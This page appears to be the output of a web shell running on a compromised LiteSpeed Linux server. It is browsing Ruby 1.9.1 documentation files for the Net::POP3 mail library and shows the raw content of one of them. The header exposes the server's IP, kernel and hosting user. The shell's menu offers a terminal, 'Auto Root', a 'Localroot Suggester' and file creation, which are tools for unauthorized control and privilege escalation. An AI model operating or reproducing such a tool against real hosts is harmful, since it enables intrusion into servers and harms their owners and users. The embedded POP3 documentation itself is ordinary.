Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.216.37
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby19 /
share /
ri /
1.9.1 /
system /
Net /
POP3 /
Delete
Unzip
Name
Size
Permission
Date
Action
APOP-c.ri
528
B
-rw-r--r--
2023-07-26 17:26
active%3f-i.ri
150
B
-rw-r--r--
2023-07-26 17:26
address-i.ri
204
B
-rw-r--r--
2023-07-26 17:26
apop%3f-i.ri
227
B
-rw-r--r--
2023-07-26 17:26
auth_only-c.ri
788
B
-rw-r--r--
2023-07-26 17:26
auth_only-i.ri
407
B
-rw-r--r--
2023-07-26 17:26
cdesc-POP3.ri
6.02
KB
-rw-r--r--
2023-07-26 17:26
certs-c.ri
238
B
-rw-r--r--
2023-07-26 17:26
create_ssl_params-c.ri
286
B
-rw-r--r--
2023-07-26 17:26
default_pop3_port-c.ri
256
B
-rw-r--r--
2023-07-26 17:26
default_pop3s_port-c.ri
259
B
-rw-r--r--
2023-07-26 17:26
default_port-c.ri
224
B
-rw-r--r--
2023-07-26 17:26
delete_all-c.ri
774
B
-rw-r--r--
2023-07-26 17:26
delete_all-i.ri
654
B
-rw-r--r--
2023-07-26 17:26
disable_ssl-c.ri
231
B
-rw-r--r--
2023-07-26 17:26
disable_ssl-i.ri
230
B
-rw-r--r--
2023-07-26 17:26
each-i.ri
144
B
-rw-r--r--
2023-07-26 17:26
each_mail-i.ri
483
B
-rw-r--r--
2023-07-26 17:26
enable_ssl-c.ri
332
B
-rw-r--r--
2023-07-26 17:26
enable_ssl-i.ri
546
B
-rw-r--r--
2023-07-26 17:26
finish-i.ri
236
B
-rw-r--r--
2023-07-26 17:26
foreach-c.ri
920
B
-rw-r--r--
2023-07-26 17:26
inspect-i.ri
242
B
-rw-r--r--
2023-07-26 17:26
logging-i.ri
216
B
-rw-r--r--
2023-07-26 17:26
mails-i.ri
544
B
-rw-r--r--
2023-07-26 17:26
n_bytes-i.ri
258
B
-rw-r--r--
2023-07-26 17:26
n_mails-i.ri
237
B
-rw-r--r--
2023-07-26 17:26
new-c.ri
607
B
-rw-r--r--
2023-07-26 17:26
open_timeout-i.ri
377
B
-rw-r--r--
2023-07-26 17:26
port-i.ri
212
B
-rw-r--r--
2023-07-26 17:26
read_timeout%3d-i.ri
224
B
-rw-r--r--
2023-07-26 17:26
read_timeout-i.ri
393
B
-rw-r--r--
2023-07-26 17:26
reset-i.ri
342
B
-rw-r--r--
2023-07-26 17:26
set_debug_output-i.ri
611
B
-rw-r--r--
2023-07-26 17:26
ssl_params-c.ri
287
B
-rw-r--r--
2023-07-26 17:26
start-c.ri
823
B
-rw-r--r--
2023-07-26 17:26
start-i.ri
471
B
-rw-r--r--
2023-07-26 17:26
started%3f-i.ri
256
B
-rw-r--r--
2023-07-26 17:26
use_ssl%3f-c.ri
231
B
-rw-r--r--
2023-07-26 17:26
use_ssl%3f-i.ri
217
B
-rw-r--r--
2023-07-26 17:26
verify-c.ri
245
B
-rw-r--r--
2023-07-26 17:26
Save
Rename
U:RDoc::NormalClass[iI" POP3:EFI"Net::POP3;FI" Protocol;Fo:RDoc::Markup::Document:@parts[o;;[0S:RDoc::Markup::Heading: leveli: textI"Net::POP3;To:RDoc::Markup::BlankLine S; ; i;I"What is This Library?;T@o:RDoc::Markup::Paragraph;[I"7This library provides functionality for retrieving;TI"Demail via POP3, the Post Office Protocol version 3. For details;TI"Bof POP3, see [RFC1939] (http://www.ietf.org/rfc/rfc1939.txt).;T@S; ; i;I" Examples;T@S; ; i;I"Retrieving Messages;T@o; ;[I"EThis example retrieves messages from the server and deletes them;TI"on the server.;T@o; ;[ I"CMessages are written to files named 'inbox/1', 'inbox/2', ....;TI"AReplace 'pop.example.com' with your POP3 server address, and;TI"B'YourAccount' and 'YourPassword' with the appropriate account;TI" details.;T@o:RDoc::Markup::Verbatim;[I"require 'net/pop' ;FI" ;FI",pop = Net::POP3.new('pop.example.com') ;FI"@pop.start('YourAccount', 'YourPassword') # (1) ;FI"if pop.mails.empty? ;FI" puts 'No mail.' ;FI" else ;FI" i = 0 ;FI"@ pop.each_mail do |m| # or "pop.mails.each ..." # (2) ;FI"- File.open("inbox/#{i}", 'w') do |f| ;FI" f.write m.pop ;FI" end ;FI" m.delete ;FI" i += 1 ;FI" end ;FI". puts "#{pop.mails.size} mails popped." ;FI" end ;FI"@pop.finish # (3) ;Fo:RDoc::Markup::List: @type:NUMBER:@items[o:RDoc::Markup::ListItem:@label0;[o; ;[I"0Call Net::POP3#start and start POP session.;To;;0;[o; ;[I"?Access messages by using POP3#each_mail and/or POP3#mails.;To;;0;[o; ;[I"NClose POP session by calling POP3#finish or use the block form of #start.;T@S; ; i;I"Shortened Code;T@o; ;[I"IThe example above is very verbose. You can shorten the code by using;TI"Gsome utility methods. First, the block form of Net::POP3.start can;TI"=be used instead of POP3.new, POP3#start and POP3#finish.;T@o;;[I"require 'net/pop' ;FI" ;FI"-Net::POP3.start('pop.example.com', 110, ;FI"= 'YourAccount', 'YourPassword') do |pop| ;FI" if pop.mails.empty? ;FI" puts 'No mail.' ;FI" else ;FI" i = 0 ;FI": pop.each_mail do |m| # or "pop.mails.each ..." ;FI"/ File.open("inbox/#{i}", 'w') do |f| ;FI" f.write m.pop ;FI" end ;FI" m.delete ;FI" i += 1 ;FI" end ;FI"0 puts "#{pop.mails.size} mails popped." ;FI" end ;FI" end ;Fo; ;[I"BPOP3#delete_all is an alternative for #each_mail and #delete.;T@o;;[I"require 'net/pop' ;FI" ;FI"-Net::POP3.start('pop.example.com', 110, ;FI"= 'YourAccount', 'YourPassword') do |pop| ;FI" if pop.mails.empty? ;FI" puts 'No mail.' ;FI" else ;FI" i = 1 ;FI" pop.delete_all do |m| ;FI"/ File.open("inbox/#{i}", 'w') do |f| ;FI" f.write m.pop ;FI" end ;FI" i += 1 ;FI" end ;FI" end ;FI" end ;Fo; ;[I")And here is an even shorter example.;T@o;;[I"require 'net/pop' ;FI" ;FI"i = 0 ;FI"2Net::POP3.delete_all('pop.example.com', 110, ;FI"@ 'YourAccount', 'YourPassword') do |m| ;FI"+ File.open("inbox/#{i}", 'w') do |f| ;FI" f.write m.pop ;FI" end ;FI" i += 1 ;FI" end ;FS; ; i;I"Memory Space Issues;T@o; ;[I"?All the examples above get each message as one big string.;TI"This example avoids this.;T@o;;[I"require 'net/pop' ;FI" ;FI"i = 1 ;FI"2Net::POP3.delete_all('pop.example.com', 110, ;FI"@ 'YourAccount', 'YourPassword') do |m| ;FI"+ File.open("inbox/#{i}", 'w') do |f| ;FI"? m.pop do |chunk| # get a message little by little. ;FI" f.write chunk ;FI" end ;FI" i += 1 ;FI" end ;FI" end ;FS; ; i;I"Using APOP;T@o; ;[I"6The net/pop library supports APOP authentication.;TI"ITo use APOP, use the Net::APOP class instead of the Net::POP3 class.;TI"CYou can use the utility method, Net::POP3.APOP(). For example:;T@o;;[I"require 'net/pop' ;FI" ;FI"2# Use APOP authentication if $isapop == true ;FI"Apop = Net::POP3.APOP($is_apop).new('apop.example.com', 110) ;FI"6pop.start(YourAccount', 'YourPassword') do |pop| ;FI"' # Rest of the code is the same. ;FI" end ;FS; ; i;I"6Fetch Only Selected Mail Using 'UIDL' POP Command;T@o; ;[I"4If your POP server provides UIDL functionality,;TI":you can grab only selected mails from the POP server.;TI" e.g.;T@o;;[I"def need_pop?( id ) ;FI"/ # determine if we need pop this mail... ;FI" end ;FI" ;FI"-Net::POP3.start('pop.example.com', 110, ;FI"? 'Your account', 'Your password') do |pop| ;FI"C pop.mails.select { |m| need_pop?(m.unique_id) }.each do |m| ;FI" do_something(m.pop) ;FI" end ;FI" end ;Fo; ;[I"MThe POPMail#unique_id() method returns the unique-id of the message as a;TI"=String. Normally the unique-id is a hash of the message.;T: @fileI"lib/net/pop.rb;T;0[[ I"address;FI"R;F:publicF@�[ I"open_timeout;FI"RW;F;F@�[ I"read_timeout;FI"R;F;F@�[[I" Revision;Fo;;[o; ;[I"!svn revision of this library;T;0@�[ [[I" class;F[[;[[I" APOP;F@�[I"auth_only;F@�[I" certs;F@�[I"create_ssl_params;F@�[I"default_pop3_port;F@�[I"default_pop3s_port;F@�[I"default_port;F@�[I"delete_all;F@�[I"disable_ssl;F@�[I"enable_ssl;F@�[I"foreach;F@�[I"new;F@�[I"ssl_params;F@�[I" start;F@�[I" use_ssl?;F@�[I"verify;F@�[:protected[ [:private[ [I" instance;F[[;[[I"active?;F@�[I" apop?;F@�[I"auth_only;F@�[I"delete_all;F@�[I"disable_ssl;F@�[I" each;F@�[I"each_mail;F@�[I"enable_ssl;F@�[I"finish;F@�[I"inspect;F@�[I"logging;F@�[I" mails;F@�[I"n_bytes;F@�[I"n_mails;F@�[I" port;F@�[I"read_timeout=;F@�[I" reset;F@�[I"set_debug_output;F@�[I" start;F@�[I" started?;F@�[I" use_ssl?;F@�[;[ [;[